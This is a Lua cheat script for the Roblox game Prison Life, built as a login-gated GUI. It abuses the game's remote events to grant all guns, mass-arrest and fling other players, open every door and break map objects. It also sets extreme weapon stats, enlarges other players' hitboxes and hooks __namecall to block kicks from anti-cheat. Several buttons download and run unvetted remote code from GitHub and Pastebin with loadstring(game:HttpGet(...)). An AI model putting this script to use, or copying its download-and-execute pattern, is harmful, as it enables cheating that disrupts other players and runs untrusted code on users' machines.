--NOTE THE USER AND PASS USER IS 1, AND THE PASS IS 2 -- Farewell infortality -- Revamp by ImFrostic, Version 2.81 -- Objects local ScreenGui = Instance.new("ScreenGui") local opengui = Instance.new("Frame") local open = Instance.new("TextButton") local loginscreen = Instance.new("Frame") local Frame = Instance.new("Frame") local pass = Instance.new("TextBox") local user = Instance.new("TextBox") local enter = Instance.new("TextButton") local Frame_2 = Instance.new("Frame") local title = Instance.new("TextBox") local main = Instance.new("Frame") local Frame_3 = Instance.new("Frame") local Frame_4 = Instance.new("Frame") local money = Instance.new("TextButton") local hammer = Instance.new("TextButton") local blocks = Instance.new("TextButton") local shattervest = Instance.new("TextButton") local explode = Instance.new("TextButton") local TextBox = Instance.new("TextBox") local close = Instance.new("TextButton") -- Properties ScreenGui.Parent = game.CoreGui opengui.Name = "opengui" opengui.Parent = ScreenGui opengui.BackgroundColor3 = Color3.new(0, 0, 0) opengui.BackgroundTransparency = 0.89999997615814 opengui.Position = UDim2.new(0, 0, 0.510357797, 0) opengui.Size = UDim2.new(0, 87, 0, 19) opengui.Visible = false open.Name = "open" open.Parent = opengui open.BackgroundColor3 = Color3.new(0, 0, 0) open.BackgroundTransparency = 0.5 open.Size = UDim2.new(0, 87, 0, 19) open.Font = Enum.Font.SciFi open.Text = "Open" open.TextColor3 = Color3.new(1, 1, 1) open.TextSize = 14 open.MouseButton1Down:connect(function() opengui.Visible = false main.Visible = true end) loginscreen.Name = "loginscreen" loginscreen.Parent = ScreenGui loginscreen.BackgroundColor3 = Color3.new(0, 0, 0) loginscreen.BackgroundTransparency = 0.5 loginscreen.Position = UDim2.new(0.10367579, 0, 0.290018827, 0) loginscreen.Size = UDim2.new(0, 214, 0, 283) loginscreen.Visible = true loginscreen.Active = true loginscreen.Draggable = true Frame.Parent = loginscreen Frame.BackgroundColor3 = Color3.new(0, 0, 0) Frame.Position = UDim2.new(0, 0, 0.932862163, 0) Frame.Size = UDim2.new(0, 214, 0, 19) pass.Name = "pass" pass.Parent = loginscreen pass.BackgroundColor3 = Color3.new(0, 0, 0) pass.Position = UDim2.new(0.0327102803, 0, 0.466431081, 0) pass.Size = UDim2.new(0, 200, 0, 22) pass.Font = Enum.Font.SciFi pass.Text = "Password" pass.TextColor3 = Color3.new(1, 1, 1) pass.TextSize = 14 user.Name = "user" user.Parent = loginscreen user.BackgroundColor3 = Color3.new(0, 0, 0) user.Position = UDim2.new(0.0327102803, 0, 0.197879851, 0) user.Size = UDim2.new(0, 200, 0, 22) user.Font = Enum.Font.SciFi user.Text = "Username" user.TextColor3 = Color3.new(1, 1, 1) user.TextSize = 14 enter.Name = "enter" enter.Parent = loginscreen enter.BackgroundColor3 = Color3.new(0, 0, 0) enter.Position = UDim2.new(0.294392526, 0, 0.66077739, 0) enter.Size = UDim2.new(0, 88, 0, 38) enter.Font = Enum.Font.SciFi enter.Text = "Enter" enter.TextColor3 = Color3.new(1, 1, 1) enter.TextSize = 14 enter.MouseButton1Down:connect(function() if user.Text == "1" and pass.Text == "2" then loginscreen.Visible = false opengui.Visible = true end wait(1) local old old = hookmetamethod( game, "__namecall", function(self, ...) local method = tostring(getnamecallmethod()) if string.lower(method) == "kick" then return wait(9e9) end return old(self, ...) end ) wait(2) loadstring(game:HttpGet("https://raw.githubusercontent.com/EdgeIY/infiniteyield/master/source"))() end) Frame_2.Parent = loginscreen Frame_2.Active = true Frame_2.BackgroundColor3 = Color3.new(0, 0, 0) Frame_2.Selectable = true Frame_2.Size = UDim2.new(0, 214, 0, 19) title.Name = "title" title.Parent = Frame_2 title.Active = false title.BackgroundColor3 = Color3.new(1, 1, 1) title.BackgroundTransparency = 1 title.Position = UDim2.new(0.0327102803, 0, 0, 0) title.Size = UDim2.new(0, 200, 0, 16) title.ClearTextOnFocus = false title.Font = Enum.Font.SciFi title.Text = "Login" title.TextColor3 = Color3.new(1, 1, 1) title.TextScaled = true title.TextSize = 14 title.TextWrapped = true main.Name = "main" main.Parent = ScreenGui main.BackgroundColor3 = Color3.new(0, 0, 0) main.BackgroundTransparency = 0.5 main.Position = UDim2.new(0.156456202, 0, 0.248587579, 0) main.Size = UDim2.new(0, 337, 0, 296) main.Visible = false main.Active = true main.Draggable = true Frame_3.Parent = main Frame_3.Active = true Frame_3.BackgroundColor3 = Color3.new(0, 0, 0) Frame_3.Selectable = true Frame_3.Size = UDim2.new(0, 337, 0, 19) Frame_4.Parent = main Frame_4.BackgroundColor3 = Color3.new(0, 0, 0) Frame_4.Position = UDim2.new(0, 0, 0.932432413, 0) Frame_4.Size = UDim2.new(0, 337, 0, 19) money.Name = "money" money.Parent = main money.BackgroundColor3 = Color3.new(0, 0, 0) money.Position = UDim2.new(0.0534124635, 0, 0.111486487, 0) money.Size = UDim2.new(0, 133, 0, 35) money.Font = Enum.Font.SciFi money.Text = "FPS Boost" money.TextColor3 = Color3.new(1, 1, 1) money.TextSize = 14 money.MouseButton1Down:connect(function() workspace.Prison.Inner_Prison_Trees:Destroy() wait() workspace.Prison.Prison_Trees:Destroy() wait() workspace.Prison_Outer_Map.Trees:Destroy() wait() if not _G.FullBrightExecuted then _G.FullBrightEnabled = false _G.NormalLightingSettings = { Brightness = game:GetService("Lighting").Brightness, ClockTime = game:GetService("Lighting").ClockTime, FogEnd = game:GetService("Lighting").FogEnd, GlobalShadows = game:GetService("Lighting").GlobalShadows, Ambient = game:GetService("Lighting").Ambient } game:GetService("Lighting"):GetPropertyChangedSignal("Brightness"):Connect(function() if game:GetService("Lighting").Brightness ~= 1 and game:GetService("Lighting").Brightness ~= _G.NormalLightingSettings.Brightness then _G.NormalLightingSettings.Brightness = game:GetService("Lighting").Brightness if not _G.FullBrightEnabled then repeat wait() until _G.FullBrightEnabled end game:GetService("Lighting").Brightness = 1 end end) game:GetService("Lighting"):GetPropertyChangedSignal("ClockTime"):Connect(function() if game:GetService("Lighting").ClockTime ~= 12 and game:GetService("Lighting").ClockTime ~= _G.NormalLightingSettings.ClockTime then _G.NormalLightingSettings.ClockTime = game:GetService("Lighting").ClockTime if not _G.FullBrightEnabled then repeat wait() until _G.FullBrightEnabled end game:GetService("Lighting").ClockTime = 12 end end) game:GetService("Lighting"):GetPropertyChangedSignal("FogEnd"):Connect(function() if game:GetService("Lighting").FogEnd ~= 786543 and game:GetService("Lighting").FogEnd ~= _G.NormalLightingSettings.FogEnd then _G.NormalLightingSettings.FogEnd = game:GetService("Lighting").FogEnd if not _G.FullBrightEnabled then repeat wait() until _G.FullBrightEnabled end game:GetService("Lighting").FogEnd = 786543 end end) game:GetService("Lighting"):GetPropertyChangedSignal("GlobalShadows"):Connect(function() if game:GetService("Lighting").GlobalShadows ~= false and game:GetService("Lighting").GlobalShadows ~= _G.NormalLightingSettings.GlobalShadows then _G.NormalLightingSettings.GlobalShadows = game:GetService("Lighting").GlobalShadows if not _G.FullBrightEnabled then repeat wait() until _G.FullBrightEnabled end game:GetService("Lighting").GlobalShadows = false end end) game:GetService("Lighting"):GetPropertyChangedSignal("Ambient"):Connect(function() if game:GetService("Lighting").Ambient ~= Color3.fromRGB(178, 178, 178) and game:GetService("Lighting").Ambient ~= _G.NormalLightingSettings.Ambient then _G.NormalLightingSettings.Ambient = game:GetService("Lighting").Ambient if not _G.FullBrightEnabled then repeat wait() until _G.FullBrightEnabled end game:GetService("Lighting").Ambient = Color3.fromRGB(178, 178, 178) end end) game:GetService("Lighting").FogEnd = 786543 game:GetService("Lighting").GlobalShadows = false game:GetService("Lighting").Ambient = Color3.fromRGB(178, 178, 178) local LatestValue = true spawn(function() repeat wait() until _G.FullBrightEnabled while wait() do if _G.FullBrightEnabled ~= LatestValue then if not _G.FullBrightEnabled then game:GetService("Lighting").Brightness = _G.NormalLightingSettings.Brightness game:GetService("Lighting").ClockTime = _G.NormalLightingSettings.ClockTime game:GetService("Lighting").FogEnd = _G.NormalLightingSettings.FogEnd game:GetService("Lighting").GlobalShadows = _G.NormalLightingSettings.GlobalShadows game:GetService("Lighting").Ambient = _G.NormalLightingSettings.Ambient else game:GetService("Lighting").Brightness = 1 game:GetService("Lighting").ClockTime = 12 game:GetService("Lighting").FogEnd = 786543 game:GetService("Lighting").GlobalShadows = false game:GetService("Lighting").Ambient = Color3.fromRGB(178, 178, 178) end LatestValue = not LatestValue end end end) end _G.FullBrightExecuted = true _G.FullBrightEnabled = not _G.FullBrightEnabled end) hammer.Name = "hammer" hammer.Parent = main hammer.BackgroundColor3 = Color3.new(0, 0, 0) hammer.Position = UDim2.new(0.540059328, 0, 0.111486487, 0) hammer.Size = UDim2.new(0, 133, 0, 35) hammer.Font = Enum.Font.SciFi hammer.Text = "All guns" hammer.TextColor3 = Color3.new(1, 1, 1) hammer.TextSize = 14 hammer.MouseButton1Down:connect(function() local args = { [1] = workspace:WaitForChild("Prison_ITEMS"):WaitForChild("giver"):WaitForChild("M4A1"):WaitForChild("Part") } workspace:WaitForChild("Remote"):WaitForChild("ItemHandler"):InvokeServer(unpack(args)) wait() local args = { [1] = workspace:WaitForChild("Prison_ITEMS"):WaitForChild("giver"):WaitForChild("M9"):WaitForChild("ITEMPICKUP") } workspace:WaitForChild("Remote"):WaitForChild("ItemHandler"):InvokeServer(unpack(args)) wait() local args = { [1] = workspace:WaitForChild("Prison_ITEMS"):WaitForChild("giver"):WaitForChild("Remington 870"):WaitForChild("ITEMPICKUP") } workspace:WaitForChild("Remote"):WaitForChild("ItemHandler"):InvokeServer(unpack(args)) wait() local args = { [1] = workspace:WaitForChild("Prison_ITEMS"):WaitForChild("giver"):WaitForChild("AK-47"):WaitForChild("ITEMPICKUP") } workspace:WaitForChild("Remote"):WaitForChild("ItemHandler"):InvokeServer(unpack(args)) end) blocks.Name = "blocks" blocks.Parent = main blocks.BackgroundColor3 = Color3.new(0, 0, 0) blocks.Position = UDim2.new(0.540059328, 0, 0.462837845, 0) blocks.Size = UDim2.new(0, 133, 0, 35) blocks.Font = Enum.Font.SciFi blocks.Text = "Hitboxs+Arrest" blocks.TextColor3 = Color3.new(1, 1, 1) blocks.TextSize = 14 blocks.MouseButton1Down:connect(function() while true do wait(1) _G.HeadSize = 17 _G.Disabled = true if _G.Disabled then for i,v in next, game:GetService('Players'):GetPlayers() do if v.Name ~= game:GetService('Players').LocalPlayer.Name then pcall(function() v.Character.HumanoidRootPart.Name = "xC6M3Vuz7QpsY5nv" v.Character.xC6M3Vuz7QpsY5nv.Size = Vector3.new(_G.HeadSize,_G.HeadSize,_G.HeadSize) v.Character.xC6M3Vuz7QpsY5nv.Transparency = 0.5 v.Character.xC6M3Vuz7QpsY5nv.CanCollide = false end) end end end end end) shattervest.Name = "shattervest" shattervest.Parent = main shattervest.BackgroundColor3 = Color3.new(0, 0, 0) shattervest.Position = UDim2.new(0.0534124374, 0, 0.462837845, 0) shattervest.Size = UDim2.new(0, 133, 0, 35) shattervest.Font = Enum.Font.SciFi shattervest.Text = "Gun mods" shattervest.TextColor3 = Color3.new(1, 1, 1) shattervest.TextSize = 14 shattervest.MouseButton1Down:connect(function() local gun = require(game.Players.LocalPlayer.Backpack["Remington 870"].GunStates) gun["AutoFire"] = true gun["Range"] = 9999999 gun["FireRate"] = 0.01 gun["ReloadTime"] = 2 gun["Damage"] = 999999 gun["MaxAmmo"] = 8 wait() local gun = require(game.Players.LocalPlayer.Backpack["M9"].GunStates) gun["AutoFire"] = true gun["Range"] = 9999999 gun["FireRate"] = 0.01 gun["ReloadTime"] = 2 gun["Damage"] = 9999999 wait() local gun = require(game.Players.LocalPlayer.Backpack["M4A1"].GunStates) gun["AutoFire"] = true gun["Range"] = 9999 gun["FireRate"] = 0.01 gun["ReloadTime"] = 2 gun["Damage"] = 999999 wait() local gun = require(game.Players.LocalPlayer.Backpack["Taser"].GunStates) gun["ReloadTime"] = 0 end) explode.Name = "explode" explode.Parent = main explode.BackgroundColor3 = Color3.new(0, 0, 0) explode.Position = UDim2.new(0.302670598, 0, 0.722972989, 0) explode.Size = UDim2.new(0, 133, 0, 35) explode.Font = Enum.Font.SciFi explode.Text = ">:) Menu" explode.TextColor3 = Color3.new(1, 1, 1) explode.TextSize = 14 explode.MouseButton1Down:connect(function() local lib = loadstring(game:HttpGet("https://raw.githubusercontent.com/acsu123/HOHO_H/main/hoho_lib.lua", true))() local win = lib:Window("UWU",">:)",Color3.new(0.333333, 0.666667, 1)) local tab = win:Tab("Main") local label = tab:Label("Label", properties) --properties: {["Visible"] = flase} label:NewLabel("Main", properties) tab:Line() tab:Button("Arrest all", function() for i, v in pairs(game.Teams.Criminals:GetPlayers()) do if v.Name ~= game.Players.LocalPlayer.Name then local inp = 10 repeat wait() inp = inp-1 game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = v.Character.HumanoidRootPart.CFrame * CFrame.new(0, 0, 1) game.Workspace.Remote.arrest:InvokeServer(v.Character.HumanoidRootPart) until inp == 0 end end end) tab:Line() tab:Button("Open all doors", function() local function touch(x) x = x:FindFirstAncestorWhichIsA("Part") local root = game.Players.LocalPlayer.Character.HumanoidRootPart if x then if firetouchinterest then task.spawn(function() firetouchinterest(x, root, 1) wait() firetouchinterest(x, root, 0) end) end end end for _, descendant in ipairs(workspace:GetDescendants()) do if descendant:IsA("TouchTransmitter") then touch(descendant) end end end) tab:Line() tab:Button("Prison Break", function() while true do local function touch(x) x = x:FindFirstAncestorWhichIsA("Part") local root = game.Players.LocalPlayer.Character.HumanoidRootPart if x then if firetouchinterest then task.spawn(function() firetouchinterest(x, root, 1) wait() firetouchinterest(x, root, 0) end) end end end for _, descendant in ipairs(workspace:GetDescendants()) do if descendant:IsA("TouchTransmitter") then touch(descendant) end end wait(2.5) end end) tab:Button("No more dropped items", function() while true do function getNil(name,class) for _,v in next, getnilinstances() do if v.ClassName==class and v.Name==name then return v;end end end local args = { [1] = getNil("ITEMPICKUP", "Part") } workspace:WaitForChild("Remote"):WaitForChild("ItemHandler"):InvokeServer(unpack(args)) wait() end end) tab:Button("Break everything on the map", function() while true do local args = { [1] = workspace:WaitForChild("Prison_ITEMS"):WaitForChild("buttons"):WaitForChild("Prison Gate"):WaitForChild("Prison Gate") } workspace:WaitForChild("Remote"):WaitForChild("ItemHandler"):InvokeServer(unpack(args)) wait() local args = { [1] = workspace:WaitForChild("Prison_ITEMS"):WaitForChild("buttons"):WaitForChild("Car Spawner"):WaitForChild("Car Spawner") } workspace:WaitForChild("Remote"):WaitForChild("ItemHandler"):InvokeServer(unpack(args)) wait() local args = { [1] = workspace:WaitForChild("Prison_ITEMS"):WaitForChild("buttons"):WaitForChild("Car Spawner"):WaitForChild("Car Spawner") } workspace:WaitForChild("Remote"):WaitForChild("ItemHandler"):InvokeServer(unpack(args)) wait() end end) tab:Button("No more criminals", function() while true do for i, v in pairs(game.Teams.Criminals:GetPlayers()) do if v.Name ~= game.Players.LocalPlayer.Name then local inp = 10 repeat wait() inp = inp-1 game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = v.Character.HumanoidRootPart.CFrame * CFrame.new(0, 0, 1) game.Workspace.Remote.arrest:InvokeServer(v.Character.HumanoidRootPart) until inp == 0 end end wait(1.6) end end) tab:Line() tab:Button("Godmode", function() loadstring(game:HttpGet("https://pastebin.com/raw/FwfNEqYz", true))() wait() loadstring(game:HttpGet("https://pastebin.com/raw/FwfNEqYz", true))() wait() loadstring(game:HttpGet("https://pastebin.com/raw/FwfNEqYz", true))() wait() loadstring(game:HttpGet("https://pastebin.com/raw/FwfNEqYz", true))() wait() loadstring(game:HttpGet("https://pastebin.com/raw/FwfNEqYz", true))() wait() loadstring(game:HttpGet("https://pastebin.com/raw/FwfNEqYz", true))() wait() loadstring(game:HttpGet("https://pastebin.com/raw/FwfNEqYz", true))() wait() loadstring(game:HttpGet("https://pastebin.com/raw/FwfNEqYz", true))() wait() loadstring(game:HttpGet("https://pastebin.com/raw/FwfNEqYz", true))() wait() loadstring(game:HttpGet("https://pastebin.com/raw/FwfNEqYz", true))() wait() loadstring(game:HttpGet("https://pastebin.com/raw/FwfNEqYz", true))() wait() loadstring(game:HttpGet("https://pastebin.com/raw/FwfNEqYz", true))() wait() loadstring(game:HttpGet("https://pastebin.com/raw/FwfNEqYz", true))() wait() loadstring(game:HttpGet("https://pastebin.com/raw/FwfNEqYz", true))() wait() loadstring(game:HttpGet("https://pastebin.com/raw/FwfNEqYz", true))() wait() loadstring(game:HttpGet("https://pastebin.com/raw/FwfNEqYz", true))() wait() loadstring(game:HttpGet("https://pastebin.com/raw/FwfNEqYz", true))() wait() loadstring(game:HttpGet("https://pastebin.com/raw/FwfNEqYz", true))() wait() loadstring(game:HttpGet("https://pastebin.com/raw/FwfNEqYz", true))() wait() loadstring(game:HttpGet("https://pastebin.com/raw/FwfNEqYz", true))() wait() loadstring(game:HttpGet("https://pastebin.com/raw/FwfNEqYz", true))() wait() loadstring(game:HttpGet("https://pastebin.com/raw/FwfNEqYz", true))() wait() loadstring(game:HttpGet("https://pastebin.com/raw/FwfNEqYz", true))() wait() loadstring(game:HttpGet("https://pastebin.com/raw/FwfNEqYz", true))() wait() end) local tab = win:Tab("Players") local txtbox = tab:Textbox("Kill Works 50% of the time","Full username",function(val) -- Settings local Settings = { Target = val -- Target Name (Not display name) } -- Objects local Players = game:GetService("Players") local RunService = game:GetService("RunService") local LocalPlayer = Players.LocalPlayer local Target = Players:FindFirstChild(Settings.Target) local BodyAngularVelocity = Instance.new("BodyAngularVelocity") BodyAngularVelocity.AngularVelocity = Vector3.new(10^6, 10^6, 10^6) BodyAngularVelocity.MaxTorque = Vector3.new(10^6, 10^6, 10^6) BodyAngularVelocity.P = 10^6 -- Start if not Target then return end BodyAngularVelocity.Parent = LocalPlayer.Character.HumanoidRootPart while Target.Character.HumanoidRootPart and LocalPlayer.Character.HumanoidRootPart do RunService.RenderStepped:Wait() LocalPlayer.Character.HumanoidRootPart.CFrame = Target.Character.HumanoidRootPart.CFrame * LocalPlayer.Character.HumanoidRootPart.CFrame.Rotation LocalPlayer.Character.HumanoidRootPart.Velocity = Vector3.new() end BodyAngularVelocity.Parent = nil end) end) TextBox.Parent = main TextBox.Active = false TextBox.BackgroundColor3 = Color3.new(1, 1, 1) TextBox.BackgroundTransparency = 1 TextBox.Position = UDim2.new(0.246290803, 0, 0.945945978, 0) TextBox.Size = UDim2.new(0, 170, 0, 11) TextBox.ClearTextOnFocus = false TextBox.Font = Enum.Font.SciFi TextBox.Text = "Prisoner Life crapper- Kosovo & Empty" TextBox.TextColor3 = Color3.new(1, 1, 1) TextBox.TextSize = 14 close.Name = "close" close.Parent = main close.BackgroundColor3 = Color3.new(0, 0, 0) close.Position = UDim2.new(0.934718072, 0, -0.00337837846, 0) close.Size = UDim2.new(0, 22, 0, 20) close.Font = Enum.Font.SciFi close.Text = "X" close.TextColor3 = Color3.new(1, 1, 1) close.TextSize = 14 close.MouseButton1Down:connect(function() main.Visible = false opengui.Visible = true end)